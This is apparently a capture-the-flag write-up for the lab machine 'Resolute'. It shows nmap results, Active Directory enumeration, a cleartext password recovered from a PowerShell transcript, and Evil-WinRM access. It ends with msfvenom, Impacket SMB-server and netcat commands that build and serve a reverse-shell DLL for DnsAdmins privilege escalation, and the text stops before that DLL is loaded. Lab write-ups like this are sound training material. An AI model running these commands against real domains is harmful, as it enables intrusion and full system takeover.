PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-14 20:28:46Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49709/tcp open msrpc Microsoft Windows RPC Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2h29m14s, deviation: 4h02m32s, median: 9m12s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2020-03-14T13:29:48-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-03-14T20:29:44 |_ start_date: 2020-03-14T18:02:17
This result shows that this is a Windows box with Active Directory, Kerberos and WinRM active. The nmap script results on SMB port shows also it allows guest sessions. From this information and my experience, I establish the roadmap to user flag as follows:
Try to enumerate the AD domain.
If plaintext passwords are found during enumeration, or in readable SMB shares, try them. If that does not work try password spraying.
*Evil-WinRM* PS C:\Users\melanie\Documents> dir ..\Desktop
Directory: C:\Users\melanie\Desktop
Mode LastWriteTime Length Name --------------------------- -ar---12/3/20197:33 AM 32 user.txt
*Evil-WinRM* PS C:\Users\melanie\Documents>
There it is!
Root Flag
My usual roadmap:
Look for privilege I can exploit with whoami /all
Execute winPEAS to look for vulnerabilities I can use.
Use BloodHound to show possible paths to domain admins.
Proceed to manual exploration for interesting files.
For the user melanie, the first three points didn’t reveal anything interesting which lead me to go for manual exploration. In the root drive (C:), I found a hidden directory called PSTranscripts. Listing it further reveals the transcript of a powershell session at C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt. Download it, open it and you will see at ligne 35, that the user ryan is trying to mount a share and provided a cleartext password: Serv3r4Admin4cc123!. Try those credentials in evil-winrm and it works!
Now we are ryan, Let’s go through our roadmap once again. The first point which is whoami /all reveals that ryan is part of the group DnsAdmin. From some reading I found a while ago, it is possible to make a privilege escalation from ryan. Basically, it consists of loading an arbritrary DLL from a SMB share on the DNS Server which is running as SYSTEM.
So here it goes on the attacker side (install Impacket if you haven’t yet).
1 2 3 4 5 6
### Generate a reverse shell dll using msfvenom $ msfvenom -p windows/x64/shell/reverse_tcp LHOST=<tun0_IP> LPORT=4444 -f dll -o shell.dll ### Start a SMB Server listening on tun0 interface with a share named REV $ sudo /usr/share/doc/python3-impacket/examples/smbserver.py -ip <tun0_ip> REV ./ ### In another shell or tmux window, start netcat listener $ sudo nc -lvnp 4444